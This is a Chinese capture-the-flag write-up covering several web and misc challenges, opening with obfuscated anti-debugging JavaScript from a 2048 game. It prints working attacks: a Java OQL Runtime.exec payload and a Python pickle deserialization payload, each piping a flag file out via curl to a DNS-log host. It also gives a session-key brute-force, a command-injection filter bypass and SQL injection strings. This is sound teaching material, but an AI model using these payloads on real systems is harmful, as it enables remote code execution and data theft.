var r = parseInt(e(494)) / 1 + -parseInt(e(508)) / 2 * (-parseInt(e(514)) / 3) + -parseInt(e(513)) / 4 * (-parseInt(e(497)) / 5) + -parseInt(e(511)) / 6 + -parseInt(e(505)) / 7 * (parseInt(e(506)) / 8) + parseInt(e(483)) / 9 + -parseInt(e(490)) / 10 * (parseInt(e(509)) / 11);
if (r === n)
break;
t.push(t.shift())
} catch {
t.push(t.shift())
}
}
)(N, 583658 + 587568 * -1 + 47 * 7717);
var d0 = function() {
var x = !0;
return function(n, e) {
var t = x ? function() {
var r = E;
if (e) {
var a = e[r(510)](n, arguments);
return e = null,
a
}
}
: function() {}
;
return x = !1,
t
}
}();
(function() {
d0(this, function() {
var x = E
, n = new RegExp(x(485))
, e = new RegExp(x(498),"i")
, t = U(x(502));
!n[x(500)](t + x(493)) || !e[x(500)](t + x(487)) ? t("0") : U()
})()
}
)(),
function() {
var x = E
, n = function() {
var t;
try {
t = Function('return (function() {}.constructor("return this")( ));')()
} catch {
t = window
}
return t
}
, e = n();
e[x(495)](U, 16859 + 1 * -15859)
}();
function j(x, n) {
var e = E;
this.x = x.x,
this.y = x.y,
this[e(499)] = n || 1 * -7427 + -3058 * 1 + 1 * 10487,
this[e(507)] = null,
this[e(501)] = null
}
function E(x, n) {
var e = N();
return E = function(t, r) {
t = t - (-1 * -8571 + 8723 + -16813);
var a = e[t];
return a
}
,
E(x, n)
}
j[Z(504)][Z(491)] = function() {
var x = Z;
this[x(507)] = {
x: this.x,
y: this.y
}
}
,
j.prototype.updatePosition = function(x) {
this.x = x.x,
this.y = x.y
}
,
j[Z(504)][Z(515)] = function() {
var x = Z;
return {
position: {
x: this.x,
y: this.y
},
value: this[x(499)]
}
}
;
function U(x) {
function n(e) {
var t = E;
if (typeof e === t(482))
return (function(r) {}
)[t(496)](t(492))[t(510)](t(489));
("" + e / e)[t(484)] !== -15 * -79 + 247 + -1431 || e % (-514 + -1111 * -3 + -2799) === -4847 * 2 + 3 * -2528 + -106 * -163 ? (function() {
return !0
}
)[t(496)](t(503) + t(512))[t(486)](t(481)) : (function() {
return !1
}
)[t(496)](t(503) + t(512))[t(510)](t(488)),
n(++e)
}
try {
if (x)
return n;
n(-7 * -1262 + -1 * -5197 + -14031)
} catch {}
}
var d = O;
(function(x, n) {
for (var e = O, t = x(); ; )
try {
var r = parseInt(e(404)) / 1 + -parseInt(e(420)) / 2 + -parseInt(e(396)) / 3 + parseInt(e(397)) / 4 + parseInt(e(428)) / 5 * (-parseInt(e(403)) / 6) + -parseInt(e(430)) / 7 + -parseInt(e(401)) / 8 * (-parseInt(e(410)) / 9);
if (r === n)
break;
t.push(t.shift())
} catch {
t.push(t.shift())
}
}
)(D, 1 * -6711 + 18616 + 263022);
var h0 = function() {
var x = !0;
return function(n, e) {
var t = x ? function() {
var r = O;
if (e) {
var a = e[r(424)](n, arguments);
return e = null,
a
}
}
: function() {}
;
return x = !1,
t
}
}();
(function() {
h0(this, function() {
var x = O
, n = new RegExp(x(415))
, e = new RegExp("\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)","i")
, t = a0(x(417));
!n[x(423)](t + x(429)) || !e[x(423)](t + "input") ? t("0") : a0()
})()
}
)();
function _(x, n) {
var e = O;
this[e(389)] = x,
this.cells = n ? this.fromState(n) : this[e(402)]()
}
_[d(400)][d(402)] = function() {
for (var x = d, n = [], e = -8210 + 2 * 4105; e < this[x(389)]; e++)
for (var t = n[e] = [], r = 6767 + -1294 * 7 + 2291; r < this[x(389)]; r++)
t[x(394)](null);
return n
}
,
_[d(400)][d(421)] = function(x) {
for (var n = d, e = [], t = -129 * -6 + -1 * 467 + -307; t < this[n(389)]; t++)
for (var r = e[t] = [], a = 33 * 127 + 3607 + -1 * 7798; a < this[n(389)]; a++) {
var o = x[t][a];
r[n(394)](o ? new j(o.position,o[n(425)]) : null)
}
return e
}
,
_[d(400)][d(419)] = function() {
var x = d
, n = this[x(418)]();
if (n[x(388)])
return n[Math[x(427)](Math[x(426)]() * n[x(388)])]
}
,
_.prototype[d(418)] = function() {
var x = d
, n = [];
return this[x(406)](function(e, t, r) {
var a = x;
!r && n[a(394)]({
x: e,
y: t
})
}),
n
}
,
_[d(400)].eachCell = function(x) {
for (var n = d, e = 4539 + 267 * -17; e < this[n(389)]; e++)
for (var t = 0; t < this[n(389)]; t++)
x(e, t, this[n(416)][e][t])
}
,
_[d(400)][d(412)] = function() {
return !!this.availableCells().length
}
,
_[d(400)][d(399)] = function(x) {
return !this.cellOccupied(x)
}
,
_[d(400)][d(408)] = function(x) {
var n = d;
return !!this[n(395)](x)
}
,
_[d(400)][d(395)] = function(x) {
var n = d;
return this[n(411)](x) ? this[n(416)][x.x][x.y] : null
}
,
function() {
var x = d, n;
try {
var e = Function("return (function() " + x(390) + ");");
n = e()
} catch {
n = window
}
n.setInterval(a0, -517 * -1 + 5411 + -4928)
}(),
_.prototype[d(393)] = function(x) {
var n = d;
this[n(416)][x.x][x.y] = x
}
,
_[d(400)][d(398)] = function(x) {
this.cells[x.x][x.y] = null
}
,
_.prototype[d(411)] = function(x) {
var n = d;
return x.x >= 5877 + -3856 * -1 + 9733 * -1 && x.x < this[n(389)] && x.y >= 697 * -1 + -1 * 8273 + 299 * 30 && x.y < this[n(389)]
}
,
_[d(400)][d(387)] = function() {
for (var x = d, n = [], e = 1 * -6968 + 2086 + 1 * 4882; e < this[x(389)]; e++)
for (var t = n[e] = [], r = -1287 + -929 * -5 + -2 * 1679; r < this[x(389)]; r++)
t[x(394)](this[x(416)][e][r] ? this[x(416)][e][r][x(387)]() : null);
return {
size: this[x(389)],
cells: n
}
}
;
function O(x, n) {
var e = D();
return O = function(t, r) {
t = t - (8770 + 83 * -101);
var a = e[t];
return a
}
,
O(x, n)
}
function D() {
var x = ["action", "eachCell", "constructor", "cellOccupied", "stateObject", "9kQcxIS", "withinBounds", "cellsAvailable", "gger", "debu", "function *\\( *\\)", "cells", "init", "availableCells", "randomAvailableCell", "1037834aqvBTd", "fromState", "string", "test", "apply", "value", "random", "floor", "21065pnVeLd", "chain", "3727521OBIvOi", "serialize", "length", "size", '{}.constructor("return this")( )', "counter", "call", "insertTile", "push", "cellContent", "475407jFkWoH", "2046960kuDgMC", "removeTile", "cellAvailable", "prototype", "8528552OwSHVa", "empty", "696EXOAbH", "395715eoiAeO"];
return D = function() {
return x
}
,
D()
}
function a0(x) {
function n(e) {
var t = O;
if (typeof e === t(422))
return (function(r) {}
)[t(407)]("while (true) {}")[t(424)](t(391));
("" + e / e).length !== -1033 * 6 + -350 + 6549 || e % (5291 + 1 * -5271) === 2 * 3697 + 2199 + -9593 ? (function() {
return !0
}
)[t(407)](t(414) + "gger")[t(392)](t(405)) : (function() {
return !1
}
)[t(407)]("debu" + t(413))[t(424)](t(409)),
n(++e)
}
try {
if (x)
return n;
n(4132 + -4 * 1033)
} catch {}
}
var l = I;
(function(x, n) {
for (var e = I, t = x(); ; )
try {
var r = parseInt(e(484)) / 1 * (parseInt(e(474)) / 2) + -parseInt(e(458)) / 3 + -parseInt(e(488)) / 4 * (parseInt(e(463)) / 5) + parseInt(e(471)) / 6 * (parseInt(e(485)) / 7) + parseInt(e(461)) / 8 + parseInt(e(478)) / 9 + parseInt(e(483)) / 10;
if (r === n)
break;
t.push(t.shift())
} catch {
t.push(t.shift())
}
}
)(X, -503839 + -17 * -25951 + 813673);
var b0 = function() {
var x = !0;
return function(n, e) {
var t = x ? function() {
var r = I;
if (e) {
var a = e[r(455)](n, arguments);
return e = null,
a
}
}
: function() {}
;
return x = !1,
t
}
}();
function X() {
var x = ["4BRwjbw", "bestScoreKey", "localStorage", "string", "length", "constructor", "removeItem", "parse", "test", "gameStateKey", "return (function() ", "localStorageSupported", "apply", "storage", "action", "4267836FNkXGc", "counter", "setItem", "9517960ZohRcm", "debu", "6902785OIOCVl", "setBestScore", "clearGameState", "stateObject", '{}.constructor("return this")( )', "_data", "stringify", "gger", "38418CWiVdF", "hasOwnProperty", "fakeStorage", "155438SLEaSd", "init", "call", "while (true) {}", "8567001aLpBtY", "prototype", "getBestScore", "setGameState", "bestScore", "11866650vFDDKJ", "2KOLAeW", "77YarLkr", "getItem", "setInterval"];
return X = function() {
return x
}
,
X()
}
(function() {
b0(this, function() {
var x = I
, n = new RegExp("function *\\( *\\)")
, e = new RegExp("\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)","i")
, t = x0(x(475));
!n[x(451)](t + "chain") || !e[x(451)](t + "input") ? t("0") : x0()
})()
}
)(),
function() {
var x = I
, n = function() {
var t = I, r;
try {
r = Function(t(453) + t(467) + ");")()
} catch {
r = window
}
return r
}
, e = n();
e[x(487)](x0, 83 * 96 + 695 + -79 * 97)
}(),
window[l(473)] = {
_data: {},
setItem: function(x, n) {
var e = l;
return this[e(468)][x] = String(n)
},
getItem: function(x) {
var n = l;
return this[n(468)][n(472)](x) ? this[n(468)][x] : void 0
},
removeItem: function(x) {
var n = l;
return delete this[n(468)][x]
},
clear: function() {
var x = l;
return this[x(468)] = {}
}
};
function M() {
var x = l;
this[x(489)] = x(482),
this[x(452)] = "gameState";
var n = !1;
this[x(456)] = n ? window.localStorage : window.fakeStorage
}
function I(x, n) {
var e = X();
return I = function(t, r) {
t = t - (-4245 * -1 + -4009 + 210);
var a = e[t];
return a
}
,
I(x, n)
}
M[l(479)][l(454)] = function() {
var x = l
, n = "test";
try {
var e = window[x(490)];
return e[x(460)](n, "1"),
e[x(449)](n),
!0
} catch {
return !1
}
}
,
M[l(479)][l(480)] = function() {
var x = l;
return this[x(456)][x(486)](this[x(489)]) || 1 * -4924 + -7 * -367 + 2355
}
,
M[l(479)][l(464)] = function(x) {
var n = l;
this[n(456)][n(460)](this.bestScoreKey, x)
}
,
M[l(479)].getGameState = function() {
var x = l
, n = this[x(456)][x(486)](this[x(452)]);
return n ? JSON[x(450)](n) : null
}
,
M[l(479)][l(481)] = function(x) {
var n = l;
this[n(456)][n(460)](this.gameStateKey, JSON[n(469)](x))
}
,
M.prototype[l(465)] = function() {
var x = l;
this[x(456)].removeItem(this[x(452)])
}
;
function x0(x) {
function n(e) {
var t = I;
if (typeof e === t(446))
return (function(r) {}
).constructor(t(477)).apply(t(459));
("" + e / e)[t(447)] !== 4176 + -5326 * -1 + -9501 * 1 || e % (-1 * -3688 + -94 * 86 + 4416) === 194 * -16 + 4078 * 2 + -5052 ? (function() {
return !0
}
)[t(448)]("debu" + t(470))[t(476)](t(457)) : (function() {
return !1
}
).constructor(t(462) + "gger")[t(455)](t(466)),
n(++e)
}
try {
if (x)
return n;
n(-1 * -9599 + -7568 + -1 * 2031)
} catch {}
}
var u = P;
(function(x, n) {
for (var e = P, t = x(); ; )
try {
var r = parseInt(e(495)) / 1 * (-parseInt(e(458)) / 2) + -parseInt(e(530)) / 3 + -parseInt(e(507)) / 4 * (-parseInt(e(483)) / 5) + -parseInt(e(469)) / 6 * (parseInt(e(481)) / 7) + -parseInt(e(479)) / 8 + parseInt(e(526)) / 9 + parseInt(e(508)) / 10;
if (r === n)
break;
t.push(t.shift())
} catch {
t.push(t.shift())
}
}
)(H, -6 * 29030 + 363338 + 9589);
function H() {
var x = ["keepPlaying", "serialize", "buildTraversals", "push", "call", "mergedFrom", "findFarthestPosition", "setGameState", "addStartTiles", "restart", "forEach", "2264940zJtqhT", "F12", "init", "movesAvailable", "1142334gNKDYE", "apply", "debu", "cellAvailable", "farthest", "input", "score", "arguments", "tileMatchesAvailable", "over", "chain", "13394jxqiQP", "getBestScore", "won", "cells", "actuator", "cellContent", "isGameTerminated", "prototype", "insertTile", "onkeydown", "getGameState", "2946IZuMmd", "bind", "startTiles", "savePosition", "counter", "value", "onkeyup", "move", "randomAvailableCell", "removeTile", "1843376XPvtvR", "moveTile", "721ltAWez", "constructor", "55iAhFQf", "document", "oncontextmenu", "grid", "getVector", "clearGameState", "cellsAvailable", "storageManager", "size", "caller", "while (true) {}", "random", "29UKmvdu", "\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)", "preventDefault", "next", "updatePosition", "withinBounds", "prepareTiles", "stateObject", "addRandomTile", "positionsEqual", "test", "eachCell", "103376BBPxKK", "5187890qzzRDY", "length", "return (function() ", "inputManager", "actuate", "setInterval", "key"];
return H = function() {
return x
}
,
H()
}
var l0 = function() {
var x = !0;
return function(n, e) {
var t = x ? function() {
var r = P;
if (e) {
var a = e[r(531)](n, arguments);
return e = null,
a
}
}
: function() {}
;
return x = !1,
t
}
}();
function P(x, n) {
var e = H();
return P = function(t, r) {
t = t - (4787 * -1 + -1571 + -11 * -619);
var a = e[t];
return a
}
,
P(x, n)
}
(function() {
l0(this, function() {
var x = P
, n = new RegExp("function *\\( *\\)")
, e = new RegExp(x(496),"i")
, t = c0(x(528));
!n.test(t + x(457)) || !e[x(505)](t + x(452)) ? t("0") : c0()
})()
}
)();
function v(x, n, e, t) {
var r = P;
this[r(491)] = x,
this.inputManager = new n,
this[r(490)] = new t,
this[r(462)] = new e,
this[r(471)] = 6396 + 1 * 175 + -6569 * 1,
this[r(511)].on(r(476), this[r(476)][r(470)](this)),
this.inputManager.on(r(524), this.restart.bind(this)),
this[r(511)].on("keepPlaying", this[r(515)][r(470)](this)),
this.setup()
}
v[u(465)][u(524)] = function() {
var x = u;
this.storageManager[x(488)](),
this.actuator.continueGame(),
this.setup()
}
,
v[u(465)][u(515)] = function() {
var x = u;
this[x(515)] = !0,
this.actuator.continueGame()
}
,
v[u(465)][u(464)] = function() {
var x = u;
return this[x(456)] || this[x(460)] && !this[x(515)]
}
,
v[u(465)].setup = function() {
var x = u
, n = this[x(490)][x(468)]();
window[x(484)][x(485)] = function() {
return !1
}
,
n ? (this[x(486)] = new _(n[x(486)][x(491)],n[x(486)][x(461)]),
this[x(453)] = n[x(453)],
this[x(456)] = n[x(456)],
this[x(460)] = n[x(460)],
this[x(515)] = n[x(515)]) : (this[x(486)] = new _(this.size),
this[x(453)] = 0,
this[x(456)] = !1,
this[x(460)] = !1,
this[x(515)] = !1,
this.addStartTiles()),
document[x(467)] = document[x(475)] = function(e) {
var t = x
, r = e || arguments.callee[t(492)][t(454)][9 * 1 + -7349 + 7340];
r && r[t(514)] == t(527) && r[t(497)]()
}
,
this[x(512)]()
}
,
v.prototype[u(523)] = function() {
for (var x = u, n = 7208 + -5 * 1772 + -4 * -413; n < this[x(471)]; n++)
this[x(503)]()
}
,
v.prototype[u(503)] = function() {
var x = u;
if (this[x(486)].cellsAvailable()) {
var n = Math[x(494)]() < .9 ? 2 : 4
, e = new j(this.grid[x(477)](),n);
this[x(486)][x(466)](e)
}
}
,
v[u(465)][u(512)] = function() {
var x = u;
this[x(490)].getBestScore() < this[x(453)] && this[x(490)].setBestScore(this[x(453)]),
this.over ? this.storageManager[x(488)]() : this[x(490)][x(522)](this[x(516)]()),
this[x(462)].actuate(this[x(486)], {
score: this[x(453)],
over: this[x(456)],
won: this[x(460)],
bestScore: this[x(490)][x(459)](),
terminated: this[x(464)]()
})
}
,
v.prototype[u(516)] = function() {
var x = u;
return {
grid: this[x(486)][x(516)](),
score: this.score,
over: this[x(456)],
won: this[x(460)],
keepPlaying: this.keepPlaying
}
}
,
v[u(465)][u(501)] = function() {
var x = u;
this[x(486)][x(506)](function(n, e, t) {
var r = x;
t && (t.mergedFrom = null,
t[r(472)]())
})
}
,
function() {
var x = u, n;
try {
var e = Function(x(510) + '{}.constructor("return this")( ));');
n = e()
} catch {
n = window
}
n[x(513)](c0, -1263 + 1721 * 4 + -4621)
}(),
v[u(465)].moveTile = function(x, n) {
var e = u;
this.grid[e(461)][x.x][x.y] = null,
this.grid[e(461)][n.x][n.y] = x,
x.updatePosition(n)
}
,
v[u(465)][u(476)] = function(x) {
var n = u
, e = this;
if (!this[n(464)]()) {
var t, r, a = this[n(487)](x), o = this[n(517)](a), c = !1;
this[n(501)](),
o.x[n(525)](function(i) {
var f = n;
o.y[f(525)](function(b) {
var s = f;
if (t = {
x: i,
y: b
},
r = e[s(486)][s(463)](t),
r) {
var p = e.findFarthestPosition(t, a)
, y = e.grid[s(463)](p[s(498)]);
if (y && y.value === r[s(474)] && !y[s(520)]) {
var R = new j(p.next,r[s(474)] * 2);
R[s(520)] = [r, y],
e.grid.insertTile(R),
e.grid[s(478)](r),
r[s(499)](p[s(498)]),
e[s(453)] += R[s(474)],
R[s(474)] === 1 * -16904 + 734 * -8 + 106 * 524 && (e[s(460)] = !0)
} else
e[s(480)](r, p[s(451)]);
!e.positionsEqual(t, r) && (c = !0)
}
})
}),
c && (this[n(503)](),
!this[n(529)]() && (this.over = !0),
this[n(512)]())
}
}
,
v[u(465)][u(487)] = function(x) {
var n = {
0: {
x: 0,
y: -1
},
1: {
x: 1,
y: 0
},
2: {
x: 0,
y: 1
},
3: {
x: -1,
y: 0
}
};
return n[x]
}
,
v[u(465)][u(517)] = function(x) {
for (var n = u, e = {
x: [],
y: []
}, t = -1 * 3907 + 7316 + -3409; t < this.size; t++)
e.x[n(518)](t),
e.y[n(518)](t);
return x.x === 1993 + 6065 * 1 + -8057 * 1 && (e.x = e.x.reverse()),
x.y === 3671 + 3121 * 2 + -9912 && (e.y = e.y.reverse()),
e
}
,
v[u(465)][u(521)] = function(x, n) {
var e = u, t;
do
t = x,
x = {
x: t.x + n.x,
y: t.y + n.y
};
while (this[e(486)][e(500)](x) && this[e(486)][e(533)](x));
return {
farthest: t,
next: x
}
}
,
v[u(465)][u(529)] = function() {
var x = u;
return this[x(486)][x(489)]() || this[x(455)]()
}
,
v[u(465)].tileMatchesAvailable = function() {
for (var x = u, n = this, e, t = 0; t < this[x(491)]; t++)
for (var r = 7590 + 2 * 3521 + -14632; r < this[x(491)]; r++)
if (e = this[x(486)][x(463)]({
x: t,
y: r
}),
e)
for (var a = 20 * -367 + 2294 * 4 + -102 * 18; a < 4581 + -595 * 7 + -2 * 206; a++) {
var o = n.getVector(a)
, c = {
x: t + o.x,
y: r + o.y
}
, i = n[x(486)][x(463)](c);
if (i && i.value === e[x(474)])
return !0
}
return !1
}
,
v[u(465)][u(504)] = function(x, n) {
return x.x === n.x && x.y === n.y
}
;
function c0(x) {
function n(e) {
var t = P;
if (typeof e == "string")
return (function(r) {}
)[t(482)](t(493)).apply(t(473));
("" + e / e)[t(509)] !== -6197 + 3607 * 1 + -1 * -2591 || e % (-5 * -949 + -1 * -2874 + 1 * -7599) === 4 * 1023 + -60 * -29 + 9 * -648 ? (function() {
return !0
}
).constructor(t(532) + "gger")[t(519)]("action") : (function() {
return !1
}
).constructor("debugger")[t(531)](t(502)),
n(++e)
}
try {
if (x)
return n;
n(5 * 1029 + -4710 + -435)
} catch {}
}
var v0 = T;
(function(x, n) {
for (var e = T, t = x(); ; )
try {
var r = parseInt(e(391)) / 1 * (parseInt(e(368)) / 2) + -parseInt(e(370)) / 3 * (parseInt(e(390)) / 4) + parseInt(e(387)) / 5 * (-parseInt(e(369)) / 6) + -parseInt(e(374)) / 7 + -parseInt(e(388)) / 8 + -parseInt(e(365)) / 9 + parseInt(e(392)) / 10;
if (r === n)
break;
t.push(t.shift())
} catch {
t.push(t.shift())
}
}
)(J, -299 * 758 + -1 * -157725 + 498169 * 1);
var p0 = function() {
var x = !0;
return function(n, e) {
var t = x ? function() {
var r = T;
if (e) {
var a = e[r(383)](n, arguments);
return e = null,
a
}
}
: function() {}
;
return x = !1,
t
}
}();
(function() {
p0(this, function() {
var x = T
, n = new RegExp(x(373))
, e = new RegExp("\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)","i")
, t = i0(x(366));
!n[x(367)](t + x(385)) || !e[x(367)](t + x(372)) ? t("0") : i0()
})()
}
)();
(function() {
var x = function() {
var e = T, t;
try {
t = Function(e(389) + e(384) + ");")()
} catch {
t = window
}
return t
}
, n = x();
n.setInterval(i0, 1 * 3457 + -9739 * 1 + -7282 * -1)
}
)();
function J() {
var x = ["181928AslSjl", "318AtMHZw", "1113dxpANX", "constructor", "input", "function *\\( *\\)", "2202669fSQzZE", "length", "counter", "gger", "requestAnimationFrame", "while (true) {}", "string", "call", "debu", "apply", '{}.constructor("return this")( )', "chain", "action", "6555bOpQuy", "4616160CRMUPn", "return (function() ", "844HYfGmR", "1TdXVXt", "16024110uynBtN", "2022048blZUcG", "init", "test"];
return J = function() {
return x
}
,
J()
}
window[v0(378)](function() {
new v(-2123 * 3 + -9990 + 16363,k,g,M)
});
function T(x, n) {
var e = J();
return T = function(t, r) {
t = t - (174 + -212 * 1 + 403);
var a = e[t];
return a
}
,
T(x, n)
}
function i0(x) {
function n(e) {
var t = T;
if (typeof e === t(380))
return (function(r) {}
)[t(371)](t(379))[t(383)](t(376));
("" + e / e)[t(375)] !== -52 * 18 + -1765 * -3 + -4358 || e % (1742 * 4 + -1277 * 1 + -107 * 53) === 2481 + -4953 * -1 + 531 * -14 ? (function() {
return !0
}
)[t(371)](t(382) + t(377))[t(381)](t(386)) : (function() {
return !1
}
).constructor(t(382) + t(377))[t(383)]("stateObject"),
n(++e)
}
try {
if (x)
return n;
n(-4066 + -1 * 2377 + -379 * -17)
} catch {}
}
关键代码
这段代码在设置游戏胜负的相关逻辑
g[h(432)][h(469)] = function(x) {
var n = h
, e = x ? "game-won" : n(443)
, t = x ? s0(n(439), "V+g5LpoEej/fy0nPNivz9SswHIhGaDOmU8CuXb72dB1xYMrZFRAl=QcTq6JkWK4t3") : n(453);
this[n(438)][n(437)].add(e),
this[n(438)][n(435)]("p")[-1257 * -5 + 9 * 1094 + -5377 * 3].textContent = t
}
这段代码定义了三个变量:n
、e
和 t
。
- 变量
n
被赋值为h
- 变量
e
的值是一个条件表达式x ? "game-won" : n(443)
。如果x
为真,则e
的值为字符串 "game-won";如果x
为假,则e
的值由n(443)
的结果决定。 - 变量
t
的值也是一个条件表达式x ? s0(n(439), "V+g5LpoEej/fy0nPNivz9SswHIhGaDOmU8CuXb72dB1xYMrZFRAl=QcTq6JkWK4t3") : n(453)
。如果x
为真,则t
的值由s0(n(439), "V+g5LpoEej/fy0nPNivz9SswHIhGaDOmU8CuXb72dB1xYMrZFRAl=QcTq6JkWK4t3")
的结果决定;如果x
为假,则t
的值由n(453)
的结果决定。
修改代码即可放到控制台运行:直接设置游戏成功
flag
flag{b99b820f-934d-44d4-93df-41361df7df2d}
web-jhat
考点
- java jhat oql导致的rce
分析
题目界面是jhat工具解析java堆存储文件后启动的web server的http服务
jhat还提供了一种对象查询语言(Object Query Language),OQL有点类似SQL,可以用来查询。
OQL语句的执行页面: http://localhost:7000/oql/
OQL帮助信息页面为: http://localhost:7000/oqlhelp/
在最下面可以可以进入oql语句执行的查询界面
payload
利用java.lang.Runtime.getRuntime().exec()来rce
java.lang.Runtime
:Runtime
是 Java 中的一个类,它提供了与运行时环境交互的方法。getRuntime()
是Runtime
类的一个静态方法,用于获取当前运行时环境的实例。exec(command)
:exec()
是Runtime
类的一个实例方法,用于执行指定的命令。它接受一个字符串参数command
,该参数表示要执行的命令。
java.lang.Runtime.getRuntime().exec('bash -c {echo,Y3VybCBgY2F0IC9mbGFnYC5kcWlxdWpvcmttLmRncmgzLmNu}|{base64,-d}|{bash,-i}')
其中:Y3VybCBgY2F0IC9mbGFnYC5kcWlxdWpvcmttLmRncmgzLmNu
等效:curl `cat /flag`.dqiqujorkm.dgrh3.cn
dnslog外带出flag
flag
hgame{484f6a185f0223969845bfdb0cb495d0f41cacdb}
misc-signin
斜着看图片直接看出来flag
hagme{WOW_GREAT_YOU_SEE_IT_WONDERFUL}
misc-签到
扫码就送
misc-来自星尘的问候
考点
- steghide隐写文件
- 怪异字体对比
分析
下载附件得到一个secret.jpg,还挺好看的
seceret.jpg用steghide,根据题目描述猜测密码123456得到secret.zip(也可以直接跑字典)
谷歌识图得到游戏名为来自星尘
exa.png的文字如下
知道文字名叫异星字体
对比得到flag
flag
hgame{welc0me!}
misc-simple_attack
考点
- zip压缩包明文攻击
分析
下载附件得到一个zip
解压可以得到一个jpg和又一个zip
而且新的zip里面有一个txt和jpg但都被加密了的
关键是:内外两个jpg的大小是几乎一样的
符合明文攻击条件
- 找到压缩包内其中一个**已知的文件**(**文件大小要大于12Byte**),用相同的压缩软件压缩算法去压缩无密码压缩包,得到明文。
- 通过比较两个压缩包相同位置不同的12个字节,就可以还原出3个key,绕过密码提取出所有的文件。
- 注意明文攻击需要**CRC32值相同**才行。
注意压缩包要选择正常压缩选项
然后点击开始后,当进入长达几个小时的口令扫描阶段就可以停止了
然后会得到一个新的攻击解密后的zip
解压可以看到txt已经可以正常打开了
txt是一段base64文本,一眼base64转图片
flag
hgame{s1mple_attack_for_zip}
misc-希尔希尔希尔
考点
- png宽高修复
- png图片隐写txt文件
- png的LSB隐写
- 希尔加密
分析
下载附件得到一个png
foremost提出东西secret.txt
CVOCRJGMKLDJGBQIUIVXHEYLPNWR
png一把梭修复图片然后LSB隐写得到key
https://ctf.bugku.com/tool/hill 在线解密网站
flag
hgame{DISAPPEARINTHESEAOFBUTTERFLY}
WEEK2
web-myflask
考点
- python的pickle反序列化
- flask session伪造
分析
进入题目下载了一个app.py源码
import pickle
import base64
from flask import Flask, session, request, send_file
from datetime import datetime
from pytz import timezone
currentDateAndTime = datetime.now(timezone('Asia/Shanghai'))
currentTime = currentDateAndTime.strftime("%H%M%S")
app = Flask(__name__)
# Tips: Try to crack this first ↓
app.config['SECRET_KEY'] = currentTime
print(currentTime)
@app.route('/')
def index():
session['username'] = 'guest'
return send_file('app.py')
@app.route('/flag', methods=['GET', 'POST'])
def flag():
if not session:
return 'There is no session available in your client :('
if request.method == 'GET':
return 'You are {} now'.format(session['username'])
# For POST requests from admin
if session['username'] == 'admin':
pickle_data=base64.b64decode(request.form.get('pickle_data'))
# Tips: Here try to trigger RCE
userdata=pickle.loads(pickle_data)
return userdata
else:
return 'Access Denied'
if __name__=='__main__':
app.run(debug=True, host="0.0.0.0")
可以看到app.config['SECRET_KEY'] = currentTime
而且还是打开容器的时间作为key,在一定误差内做一个字典就好了
进入/flag路由进行session伪造
通过脚本写一个 key字典
import datetime
start_time = datetime.datetime.strptime("140750", "%H%M%S")
end_time = datetime.datetime.strptime("142000", "%H%M%S")
current_time = start_time
time_dict = {}
while current_time <= end_time:
time_str = current_time.strftime("%H%M%S")
time_dict[time_str] = True
current_time += datetime.timedelta(seconds=1)
for time_str in time_dict:
print(time_str)
生成的结果命名为time,当作字典去爆破session的key
flask-unsign --unsign --cookie "eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZcHOMg.Z2LTYiSlyO9ue19WqN6uhxs8-VM" -w time --no-literal-eval
然后登陆,post传参pickle_data为反序列化注入点
import pickle
import base64
class A(object):
def __reduce__(self):
return (eval,("__import__('os').system('curl `cat /flag`.qoxzwptuyv.dgrh3.cn')",))
a = A()
print(base64.b64encode(pickle.dumps(a)))
#gASVWwAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIw/X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2N1cmwgYGNhdCAvZmxhZ2AucW94endwdHV5di5kZ3JoMy5jbicplIWUUpQu
然后反序列化
得到flag
hgameb93b99a54ac764d64ba1298dba17e96ed9b019c6
web-Select More Courses
考点
- 网页前端代码审计
- 条件竞争
- 弱密码登录
分析
进来是一个弱密码登录界面
弱密码爆破得到密码qwert123
登录进来之后看到
先看一下自主选课界面
发现学分已经上限了
因此逻辑应该是去扩学分申请
审计一下前端js代码
<script>
alert("阿菇的提示:Race against time!");
function submitApplication() {
const requestBody = {
username: "ma5hr00m"
};
fetch("/api/expand", {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify(requestBody)
})
.then(response => response.json())
.then(data => {
console.log(data)
alert(data.message);
})
.catch(error => {
console.error("Error:", error);
});
}
function cancelApplication() {
window.location.href = ("/");
}
</script>
注意到这里
function cancelApplication() {
window.location.href = ("/");
}
可以发现有一个一直重定向/的操作
因此写脚本与这个函数竞争从而来申请到扩学分
(这里我用yakit跑的重复发包)
然后学分上限就会增加
flag
hgame{5ak_p45sW0rD_&_r4Ce_c0nDiT10n}
web-What the cow say?
考点
- 命令注入
分析
进入题目看到输入多少就是多少
经过猜测是不是sql,xss,ssti
输入*
发现问题
猜测后端语句是ls
读取flag发现是个文件夹
payload:
ec''ho `ca''t /f*/*`
flag:
hgame{C0wsay_be_c4re_aB0ut_ComMand_Injecti0n}
最后附上源码
from flask import Flask, \
| render_template, request, redirect, |
| url_for import subprocess app = |
| Flask(__name__) @app.route('/', |
| methods=['GET', 'POST']) def index(): |
| result = None if request.method == |
| 'POST': user_input = |
| request.form['user_input'] result = |
| run_cowsay(user_input) return |
| render_template('index.html', |
| result=result) @app.route('/post', |
| methods=['POST']) def post(): if |
| request.method == 'POST': user_input = |
| request.form['user_input'] result = |
| run_cowsay(user_input) return |
| render_template('index.html', |
| result=result) def run_cowsay(text): |
| try: if (waf(text)): cmd_output = |
| subprocess.check_output('cowsay ' + |
| text, text=True, |
| stderr=subprocess.STDOUT, shell=True) |
| return cmd_output.strip() else: |
| cmd_output = |
| subprocess.check_output('cowsay Waf!', |
| text=True, stderr=subprocess.STDOUT, |
| shell=True) return cmd_output.strip() |
| except subprocess.CalledProcessError as |
| e: return run_cowsay("ERROR!") def |
| waf(string): blacklist = ['echo', |
| 'cat', 'tee', ';', '|', '&', '<', |
| '>','\\','flag'] for black in |
| blacklist: if (black in string): return |
| False return True if __name__ == |
\ '__main__': app.run("0.0.0.0", port=80) /
------------------------------------------
web-search4member
考点
- 堆叠注入
- H2数据库RCE漏洞(CVE-2021-42392)
分析
CVE-2021-42392漏洞复现单独写
查询数据库发现是H2数据库
a' union select 1,database(),3--+
